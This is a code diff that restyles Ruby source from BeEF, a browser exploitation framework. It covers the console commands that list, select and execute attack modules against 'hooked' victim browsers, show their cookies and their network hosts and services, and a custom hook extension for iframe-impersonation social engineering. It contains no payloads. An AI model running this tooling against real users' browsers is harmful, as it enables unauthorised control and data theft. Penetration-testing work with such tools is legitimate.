@@bare_opts.parse(args) {|opt,idx,val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_rtcstatus_help
return false
end
}
end
if (args[0] == nil)
if args[0].nil?
cmd_rtcstatus_help
return
nil
else
BeEF::Core::Models::Rtcmanage.status(args[0].to_i)
end
end
def cmd_rtcstatus_help(*args)
print_status("Sends a message to this browser - checking the WebRTC Status of all its peers")
print_status(" Usage: rtcstatus <id>")
def cmd_rtcstatus_help(*_args)
print_status('Sends a message to this browser - checking the WebRTC Status of all its peers')
print_status(' Usage: rtcstatus <id>')
end
def cmd_irb(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_irb_help
return false
end
}
end
print_status("Starting IRB shell...\n")
begin
Rex::Ui::Text::IrbShell.new(binding).run
rescue
rescue StandardError
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
end
end
def cmd_irb_help(*args)
print_status("Load the IRB, Interative Ruby Shell")
def cmd_irb_help(*_args)
print_status('Load the IRB, Interative Ruby Shell')
end
def cmd_review(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_review_help
return false
end
}
end
if args[0] == nil
if args[0].nil?
cmd_review_help
return
end
@@ -405,109 +414,105 @@ class Core
end
targets = args[0].split(',')
targets.each {|t|
if not offlinezombies.include?(t.to_i)
print_status("Browser [id:"+t.to_s+"] does not appear to be offline.")
targets.each do |t|
unless offlinezombies.include?(t.to_i)
print_status('Browser [id:' + t.to_s + '] does not appear to be offline.')
return false
end
#print_status("Adding browser [id:"+t.to_s+"] to target list.")
}
# print_status("Adding browser [id:"+t.to_s+"] to target list.")
end
# if not offlinezombies.include?(args[0].to_i)
# print_status("Browser does not appear to be offline..")
# return false
# end
if not driver.interface.setofflinetarget(targets).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
unless driver.interface.setofflinetarget(targets).nil?
if driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core'
driver.destack_dispatcher
driver.update_prompt('')
end
driver.enstack_dispatcher(Target)
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ')
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ')
end
end
end
end
def cmd_review_help(*args)
print_status("Review an offline, previously hooked browser")
print_status(" Usage: review <id>")
def cmd_review_help(*_args)
print_status('Review an offline, previously hooked browser')
print_status(' Usage: review <id>')
end
def cmd_show(*args)
args << "-h" if (args.length == 0)
args << '-h' if args.length == 0
args.each { |type|
args.each do |type|
case type
when '-h'
cmd_show_help
when 'zombies'
driver.run_single("online")
driver.run_single('online')
when 'browsers'
driver.run_single("online")
driver.run_single('online')
when 'online'
driver.run_single("online")
driver.run_single('online')
when 'offline'
driver.run_single("offline")
driver.run_single('offline')
when 'commands'
if driver.dispatched_enstacked(Target)
if args[1] == "-s" and not args[2].nil?
if args[1] == '-s' and !args[2].nil?
driver.run_single("commands #{args[1]} #{args[2]}")
return
else
driver.run_single("commands")
driver.run_single('commands')
end
else
print_error("You aren't targeting a zombie yet")
end
when 'info'
if driver.dispatched_enstacked(Target)
driver.run_single("info")
driver.run_single('info')
else
print_error("You aren't targeting a zombie yet")
end
when 'cmdinfo'
if driver.dispatched_enstacked(Command)
driver.run_single("cmdinfo")
driver.run_single('cmdinfo')
else
print_error("You haven't selected a command module yet")
end
else
print_error("Invalid parameter, try show -h for more information.")
print_error('Invalid parameter, try show -h for more information.')
end
end
}
end
def cmd_show_tabs(str, words)
def cmd_show_tabs(_str, words)
return [] if words.length > 1
res = %w{zombies browsers online offline}
res = %w[zombies browsers online offline]
if driver.dispatched_enstacked(Target)
res.concat(%w{commands info})
end
res.concat(%w[commands info]) if driver.dispatched_enstacked(Target)
if driver.dispatched_enstacked(Command)
res.concat(%w{cmdinfo})
end
res.concat(%w[cmdinfo]) if driver.dispatched_enstacked(Command)
return res
res
end
def cmd_show_help
global_opts = %w{zombies browsers}
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
global_opts = %w[zombies browsers]
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(', ')}")
target_opts = %w{commands}
print_status("If you're targeting a module, you can also specify: #{target_opts.join(", ")}")
target_opts = %w[commands]
print_status("If you're targeting a module, you can also specify: #{target_opts.join(', ')}")
end
end
end
end
end
end
end end end end

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
class Target
module Extension
module Console
module CommandDispatcher
class Target
include BeEF::Extension::Console::CommandDispatcher
@@commands = []
@@ -16,54 +15,55 @@ class Target
def initialize(driver)
super
begin
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
@@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
}
}
rescue
return
driver.interface.getcommands.each do |folder|
folder['children'].each do |command|
@@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_'))
end
end
rescue StandardError
nil
end
end
def commands
{
"commands" => "List available commands against this particular target",
"info" => "Info about the target",
"select" => "Prepare the command module for execution against this target",
"hosts" => "List identified network hosts",
"services" => "List identified network services"
'commands' => 'List available commands against this particular target',
'info' => 'Info about the target',
'select' => 'Prepare the command module for execution against this target',
'hosts' => 'List identified network hosts',
'services' => 'List identified network services'
}
end
def name
"Target"
'Target'
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
'-h' => [false, 'Help.']
)
@@commands_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help."],
"-s" => [ false, "<search term>"],
"-r" => [ false, "List modules which have responses against them only"])
'-h' => [false, 'Help.'],
'-s' => [false, '<search term>'],
'-r' => [false, 'List modules which have responses against them only']
)
def cmd_commands(*args)
searchstring = nil
responly = nil
@@commands_opts.parse(args) {|opt, idx, val|
@@commands_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_commands_help
return false
when "-s"
searchstring = args[1].downcase if not args[1].nil?
when "-r"
when '-s'
searchstring = args[1].downcase unless args[1].nil?
when '-r'
responly = true
end
}
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
@@ -72,95 +72,92 @@ class Target
'Command',
'Status',
'Execute Count'
])
]
)
driver.interface.getcommands.each do |folder|
folder['children'].each do |command|
cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
if not searchstring.nil?
if not cmdstring.downcase.index(searchstring).nil?
if !searchstring.nil?
unless cmdstring.downcase.index(searchstring).nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
elsif not responly.nil?
elsif !responly.nil?
if driver.interface.getcommandresponses(command['id']).length.to_i > 0
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length]
end
else
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
end
end
}
}
puts "\n"
puts "List command modules for this target\n"
puts tbl.to_s + "\n"
end
def cmd_commands_help(*args)
print_status("List command modules for this target")
print_line("Usage: commands [options]")
def cmd_commands_help(*_args)
print_status('List command modules for this target')
print_line('Usage: commands [options]')
print_line
print @@commands_opts.usage()
print @@commands_opts.usage
end
def cmd_info(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_info_help
return false
end
}
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Param',
'Value'
])
%w[
Param
Value
]
)
driver.interface.select_zombie_summary['results'].each { |x|
x['data'].each { |k,v|
tbl << [k,v]
}
}
driver.interface.select_zombie_summary['results'].each do |x|
x['data'].each do |k, v|
tbl << [k, v]
end
end
puts "\nHooked Browser Info:\n"
puts tbl.to_s + "\n"
end
def cmd_info_help(*args)
print_status("Display initialisation information about the hooked browser.")
def cmd_info_help(*_args)
print_status('Display initialisation information about the hooked browser.')
end
def cmd_hosts(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_hosts_help
return false
end
}
end
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
@@ -173,69 +170,68 @@ class Target
'Operating System',
'MAC Address',
'Last Seen'
])
]
)
driver.interface.select_network_hosts['results'].each do |x|
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']]
tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']]
end
puts "\nNetwork Hosts:\n\n"
puts tbl.to_s + "\n"
end
def cmd_hosts_help(*args)
def cmd_hosts_help(*_args)
print_status("Display information about network hosts on the hooked browser's network.")
end
def cmd_services(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_services_help
return false
end
}
end
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Port',
'Protocol',
'Type'
])
%w[
IP
Port
Protocol
Type
]
)
driver.interface.select_network_services['results'].each do |x|
tbl << [x['ip'],x['port'],x['proto'],x['type']]
tbl << [x['ip'], x['port'], x['proto'], x['type']]
end
puts "\nNetwork Services:\n\n"
puts tbl.to_s + "\n"
end
def cmd_services_help(*args)
def cmd_services_help(*_args)
print_status("Display information about network services on the hooked browser's network.")
end
def cmd_select(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_select_help
return false
end
}
end
if args[0] == nil
if args[0].nil?
cmd_select_help
return false
end
@@ -245,17 +241,15 @@ class Target
if args[0] =~ /[0-9]+/
modid = args[0]
else
driver.interface.getcommands.each { |x|
x['children'].each { |y|
if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
modid = y['id']
driver.interface.getcommands.each do |x|
x['children'].each do |y|
modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
end
end
}
}
end
if modid.nil?
print_status("Could not find command module")
print_status('Could not find command module')
return false
end
@@ -264,28 +258,28 @@ class Target
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ')
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ')
end
end
def cmd_select_help(*_args)
print_status('Select a command module to use against the current target')
print_status(' Usage: module <id> OR <modulename>')
end
def cmd_select_help(*args)
print_status("Select a command module to use against the current target")
print_status(" Usage: module <id> OR <modulename>")
end
def cmd_select_tabs(str,words)
def cmd_select_tabs(_str, words)
return if words.length > 1
if @@commands == ""
#nothing prepopulated?
if @@commands == ''
# nothing prepopulated?
else
return @@commands
@@commands
end
end
end
end
end
end
end
end end end end

View File

@@ -4,11 +4,9 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
class ShellInterface
module Extension
module Console
class ShellInterface
BD = BeEF::Core::Models::BrowserDetails
def initialize(config)
@@ -17,23 +15,19 @@ class ShellInterface
end
def settarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
rescue StandardError
nil
end
def setofflinetarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
rescue StandardError
nil
end
def cleartarget
@@ -45,79 +39,74 @@ class ShellInterface
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
def getcommands
return if self.targetid.nil?
return if targetid.nil?
tree = []
BeEF::Modules.get_categories.each { |c|
if c[-1,1] != "/"
c.concat("/")
end
BeEF::Modules.get_categories.each do |c|
c.concat('/') if c[-1, 1] != '/'
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
}
end
BeEF::Modules.get_enabled.each{|k, mod|
flatcategory = ""
if mod['category'].kind_of?(Array)
BeEF::Modules.get_enabled.each do |k, mod|
flatcategory = ''
if mod['category'].is_a?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
mod['category'].each {|cat|
flatcategory << cat + "/"
}
mod['category'].each do |cat|
flatcategory << (cat + '/')
end
else
flatcategory = mod['category']
if flatcategory[-1,1] != "/"
flatcategory.concat("/")
end
flatcategory.concat('/') if flatcategory[-1, 1] != '/'
end
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
}
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id'])
end
# if dynamic modules are found in the DB, then we don't have yaml config for them
# and loading must proceed in a different way.
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
if(dynamic_modules != nil)
unless dynamic_modules.nil?
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
all_modules.each{|dyn_mod|
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
all_modules.each do |dyn_mod|
next unless dyn_mod.path.split('/').first.match(/^Dynamic/)
dyn_mod_name = dyn_mod.path.split('/').last
dyn_mod_category = nil
if(dyn_mod_name == "Msf")
dyn_mod_category = "Metasploit"
if dyn_mod_name == 'Msf'
dyn_mod_category = 'Metasploit'
else
# future dynamic modules...
end
#print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
# print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
command_mod.session_id = hook_session_id
command_mod.update_info(dyn_mod.id)
command_mod_name = command_mod.info['Name'].downcase
update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
}
update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id)
end
end
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
tree.sort! { |a, b| a['text'] <=> b['text'] }
# sort the children nodes by status
tree.each {|x| x['children'] =
x['children'].sort_by {|a| a['status']}
}
tree.each do |x|
x['children'] =
x['children'].sort_by { |a| a['status'] }
end
# append the number of command modules so the branch name results in: "<category name> (num)"
#tree.each {|command_module_branch|
# tree.each {|command_module_branch|
# num_of_command_modules = command_module_branch['children'].length
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
#}
# }
# return a JSON array of hashes
tree
@@ -126,19 +115,19 @@ class ShellInterface
def setcommand(id)
key = BeEF::Module.get_key_by_database_id(id.to_i)
self.cmd['id'] = id
self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
self.cmd['Data'] = BeEF::Module.get_options(key)
cmd['id'] = id
cmd['Name'] = config.get("beef.module.#{key}.name")
cmd['Description'] = config.get("beef.module.#{key}.description")
cmd['Category'] = config.get("beef.module.#{key}.category")
cmd['Data'] = BeEF::Module.get_options(key)
end
def clearcommand
self.cmd = {}
end
def setparam(param,value)
self.cmd['Data'].each do |data|
def setparam(param, value)
cmd['Data'].each do |data|
if data['name'] == param
data['value'] = value
return
@@ -146,19 +135,18 @@ class ShellInterface
end
end
def getcommandresponses(cmdid = self.cmd['id'])
def getcommandresponses(cmdid = cmd['id'])
commands = []
i = 0
BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
BeEF::Core::Models::Command.where(command_module_id: cmdid, hooked_browser_id: targetid).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
'label' => command.label
})
i+=1
i += 1
end
commands
@@ -167,10 +155,10 @@ class ShellInterface
def getindividualresponse(cmdid)
results = []
begin
BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result|
results.push({'date' => result.date, 'data' => JSON.parse(result.data)})
}
rescue
BeEF::Core::Models::Result.where(command_id: cmdid).each do |result|
results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) })
end
rescue StandardError
return nil
end
results
@@ -179,51 +167,50 @@ class ShellInterface
def executecommand
definition = {}
options = {}
options.store("zombie_session", self.targetsession.to_s)
options.store("command_module_id", self.cmd['id'])
options.store('zombie_session', targetsession.to_s)
options.store('command_module_id', cmd['id'])
if not self.cmd['Data'].nil?
self.cmd['Data'].each do |key|
options.store("txt_"+key['name'].to_s,key['value'])
unless cmd['Data'].nil?
cmd['Data'].each do |key|
options.store('txt_' + key['name'].to_s, key['value'])
end
end
options.keys.each {|param|
options.keys.each do |param|
definition[param[4..-1]] = options[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
oc.value = options[param]
oc.save
}
mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each{|k,v|
def2.push({'name' => k, 'value' => v})
}
# End hack
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
return true
else
return false
end
#Old method
#begin
mod_key = BeEF::Module.get_key_by_database_id(cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each do |k, v|
def2.push({ 'name' => k, 'value' => v })
end
# End hack
if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil?
false
else
true
end
# Old method
# begin
# BeEF::Core::Models::Command.new( :data => definition.to_json,
# :hooked_browser_id => self.targetid,
# :command_module_id => self.cmd['id'],
# :creationdate => Time.new.to_i
# ).save
#rescue
# rescue
# return false
#end
# end
#return true
# return true
end
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
@@ -233,34 +220,37 @@ class ShellInterface
}
# add the node to the branch in the command module tree
tree.each {|x|
tree.each do |x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
x['children'].push(leaf_node)
break
end
}
end
end
def get_command_module_status(mod)
hook_session_id = self.targetsession
if hook_session_id == nil
return "Verified Unknown"
end
case BeEF::Module.support(mod, {
hook_session_id = targetsession
return 'Verified Unknown' if hook_session_id.nil?
case BeEF::Module.support(
mod,
{
'browser' => BD.get(hook_session_id, 'BrowserName'),
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
'os' => [BD.get(hook_session_id, 'OsName')]})
'os' => [BD.get(hook_session_id, 'OsName')]
}
)
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
return "Verified Not Working"
'Verified Not Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
return "Verified User Notify"
'Verified User Notify'
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
return "Verified Working"
'Verified Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
return "Verified Unknown"
'Verified Unknown'
else
return "Verified Unknown"
'Verified Unknown'
end
end
@@ -268,8 +258,7 @@ class ShellInterface
# Yoinked from the UI panel -
# we really need to centralise all this stuff and encapsulate it away.
def select_zombie_summary
return if self.targetsession.nil?
return if targetsession.nil?
# init the summary grid
summary_grid_hash = {
@@ -299,7 +288,7 @@ class ShellInterface
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'Windows Media Player', 'HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
@@ -314,10 +303,10 @@ class ShellInterface
['Hooked Page', 'Cookies', 'Cookies'],
# Host
['Host', 'Date', 'DateStamp'],
%w[Host Date DateStamp],
['Host', 'Operating System', 'OsName'],
['Host', 'Hardware', 'Hardware'],
['Host', 'CPU', 'CPU'],
%w[Host Hardware Hardware],
%w[Host CPU CPU],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
@@ -326,48 +315,45 @@ class ShellInterface
# set and add the return values for each browser property
# in the form of: category, UI label, value
zombie_properties.each do |p|
case p[2]
when "BrowserName"
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
when 'BrowserName'
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s
when "ScreenSize"
screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
when 'ScreenSize'
screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
height = screen_size_hash['height']
cdepth = screen_size_hash['colordepth']
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
when "WindowSize"
window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
when 'WindowSize'
window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = window_size_hash['width']
height = window_size_hash['height']
data = "Width: #{width}, Height: #{height}"
else
data = BD.get(self.targetsession, p[2])
data = BD.get(targetsession, p[2])
end
# add property to summary hash
if not data.nil?
next if data.nil?
summary_grid_hash['results'].push({
'category' => p[0],
'data' => { p[1] => CGI.escapeHTML("#{data}") },
'data' => { p[1] => CGI.escapeHTML(data.to_s) },
'from' => 'Initialization'
})
end
end
summary_grid_hash
end
def select_network_hosts
return if self.targetsession.nil?
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
@@ -380,10 +366,10 @@ class ShellInterface
'results' => []
}
@nh = BeEF::Core::Models::NetworkHost
hosts = @nh.where(:hooked_browser_id => self.targetsession)
hosts = @nh.where(hooked_browser_id: targetsession)
# add property to summary hash
if not hosts.empty?
unless hosts.empty?
hosts.each do |x|
summary_grid_hash['results'].push({
'ip' => x['ip'].to_s,
@@ -400,12 +386,11 @@ class ShellInterface
end
def select_network_services
return if self.targetsession.nil?
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
@@ -418,10 +403,10 @@ class ShellInterface
'results' => []
}
@ns = BeEF::Core::Models::NetworkService
services = @ns.where(:hooked_browser_id => self.targetsession)
services = @ns.where(hooked_browser_id: targetsession)
# add property to summary hash
if not services.empty?
unless services.empty?
services.each do |x|
summary_grid_hash['results'].push({
'proto' => x['proto'].to_s,
@@ -435,19 +420,13 @@ class ShellInterface
summary_grid_hash
end
attr_reader :targetsession
attr_reader :targetid
attr_reader :targetip
attr_reader :cmd
attr_reader :targetsession, :targetid, :targetip, :cmd
protected
attr_writer :targetsession
attr_writer :targetid
attr_writer :targetip
attr_writer :cmd
attr_writer :targetsession, :targetid, :targetip, :cmd
attr_accessor :config
end
end
end
end
end end end

View File

@@ -8,18 +8,15 @@ require 'rex'
require 'rex/ui'
module BeEF
module Extension
module Console
class Shell
DefaultPrompt = "%undBeEF%clr"
DefaultPromptChar = "%clr>"
module Extension
module Console
class Shell
DefaultPrompt = '%undBeEF%clr'
DefaultPromptChar = '%clr>'
include Rex::Ui::Text::DispatcherShell
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
require 'extensions/console/lib/readline_compatible'
require 'extensions/console/lib/command_dispatcher'
require 'extensions/console/lib/shellinterface'
@@ -27,46 +24,40 @@ class Shell
self.http_hook_server = opts['http_hook_server']
self.config = opts['config']
self.jobs = Rex::JobContainer.new
self.interface = BeEF::Extension::Console::ShellInterface.new(self.config)
self.interface = BeEF::Extension::Console::ShellInterface.new(config)
super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s))
super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s))
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new
init_ui(input,output)
init_ui(input, output)
enstack_dispatcher(CommandDispatcher::Core)
#To prevent http_hook_server from blocking, we kick it off as a background job here.
self.jobs.start_bg_job(
"http_hook_server",
# To prevent http_hook_server from blocking, we kick it off as a background job here.
jobs.start_bg_job(
'http_hook_server',
self,
Proc.new { |ctx_| self.http_hook_server.start }
proc { |_ctx_| http_hook_server.start }
)
end
def stop
super
end
#New method to determine if a particular command dispatcher it already .. enstacked .. gooood
# New method to determine if a particular command dispatcher it already .. enstacked .. gooood
def dispatched_enstacked(dispatcher)
inst = dispatcher.new(self)
self.dispatcher_stack.each { |disp|
if (disp.name == inst.name)
return true
dispatcher_stack.each do |disp|
return true if disp.name == inst.name
end
}
return false
false
end
attr_accessor :http_hook_server
attr_accessor :config
attr_accessor :jobs
attr_accessor :interface
attr_accessor :http_hook_server, :config, :jobs, :interface
end
end
end
end
end end end

View File

@@ -4,29 +4,27 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
module Extension
module Customhook
module RegisterHttpHandlers
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h|
configuration.get('beef.extension.customhook.hooks').each do |h|
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
end
end
def self.pre_http_start(beef_server)
def self.pre_http_start(_beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h|
print_success "Successfully mounted a custom hook point"
configuration.get('beef.extension.customhook.hooks').each do |h|
print_success 'Successfully mounted a custom hook point'
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
end
end
end
end
end
end
end
end

View File

@@ -4,9 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
module Extension
module Customhook
extend BeEF::API::Extension
@short_name = 'customhook'
@@ -14,9 +13,8 @@ module Customhook
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
end
end
end
end
end
require 'extensions/customhook/api'

View File

@@ -4,21 +4,20 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
module Extension
module Customhook
class Handler
def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body=[], 200, header={})
@response = Rack::Response.new(body = [], 200, header = {})
config = BeEF::Core::Configuration.instance
